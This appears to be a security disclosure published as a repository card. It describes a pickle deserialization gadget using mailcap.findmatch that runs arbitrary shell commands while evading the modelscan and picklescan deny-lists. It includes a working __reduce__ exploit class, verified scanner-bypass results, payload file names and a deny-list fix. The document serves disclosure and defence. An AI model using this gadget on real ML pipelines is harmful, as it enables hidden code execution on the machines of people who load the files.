YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
pickle RCE via mailcap.findmatch β NEW reduce gadget bypassing modelscan 0.8.8 AND picklescan 1.0.5
Class: Pickle deserialization RCE via scanner allow/deny-list bypass (new, unlisted stdlib GLOBAL gadget)
Targets: modelscan 0.8.8 (PickleUnsafeOpScan), picklescan 1.0.5
Environment (verified): CPython 3.12.13, Linux x86_64
Summary
Both scanners decide maliciousness by matching every GLOBAL/STACK_GLOBAL (module, name) against
hand-maintained deny-lists. Neither list contains the CPython standard-library module mailcap.
mailcap.findmatch(caps, MIMEtype, key='view', filename='/dev/null', plist=[]) is a plain module-level
function. Its first argument caps is the entire mailcap database as a dict β fully attacker-controlled
through the pickle. For every matching entry that carries a 'test' field, findmatch runs
os.system(test) (Lib/mailcap.py). The attacker command therefore travels entirely as a pickle string
constant; the only GLOBAL opcode is (mailcap, findmatch), which is unknown to modelscan (no issue) and
merely "Suspicious" (not Dangerous) to picklescan. Both tools exit 0 / "clean" while pickle.load()
runs an arbitrary shell command.
Root cause (Lib/mailcap.py, 3.12)
def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]):
if _find_unsafe(filename): ... # filename defaults to safe '/dev/null'
entries = lookup(caps, MIMEtype, key) # caps is attacker-controlled
for e in entries:
if 'test' in e:
test = subst(e['test'], filename, plist) # no '%' => returned verbatim
if test and os.system(test) != 0: # <-- arbitrary command executed
continue
...
subst() only refuses %s/%t/%{...} substitutions containing shell metacharacters; a plain command string
with no % passes through untouched. _find_unsafe is applied to filename/MIMEtype/params β never to
the test command itself.
The gadget
class Evil:
def __reduce__(self):
import mailcap
caps = {"application/x-evil": [{"test": CMD, "view": "true"}]}
return (mailcap.findmatch, (caps, "application/x-evil"))
Only one global opcode: mailcap.findmatch. The command rides as data.
Verified results
| file | picklescan 1.0.5 | modelscan 0.8.8 | pickle.load |
|---|---|---|---|
evil_mailcap.pkl |
Infected files: 0, Dangerous globals: 0 (1 Suspicious), exit 0 | No issues found! exit 0 | runs id, writes marker |
control_os.pkl (negative control) |
dangerous import 'posix system' FOUND, Infected: 1, exit 1 |
CRITICAL system/posix, exit 1 |
β |
Captured os.system output (from marker file):
uid=1000(kali) gid=1000(kali) ...
mailcap_findmatch_gadget_executed
Impact / scope
Any pipeline that scans an untrusted .pkl/.joblib/.bin with modelscan 0.8.8 or picklescan 1.0.5 and
then pickle.load()s it gets arbitrary command execution. Limitation: the mailcap module was removed
in Python 3.13, so execution requires the victim to run Python β€ 3.12 (still the majority of ML
deployments). The scanner bypass itself is version-independent β scanners never import mailcap.
Fix
Add mailcap: "*" to both deny-lists.
Files
gen.pyβ builder (evil + negative control)evil_mailcap.pkl/evil_mailcap.joblibβ 279 B payloadcontrol_os.pklβ negative control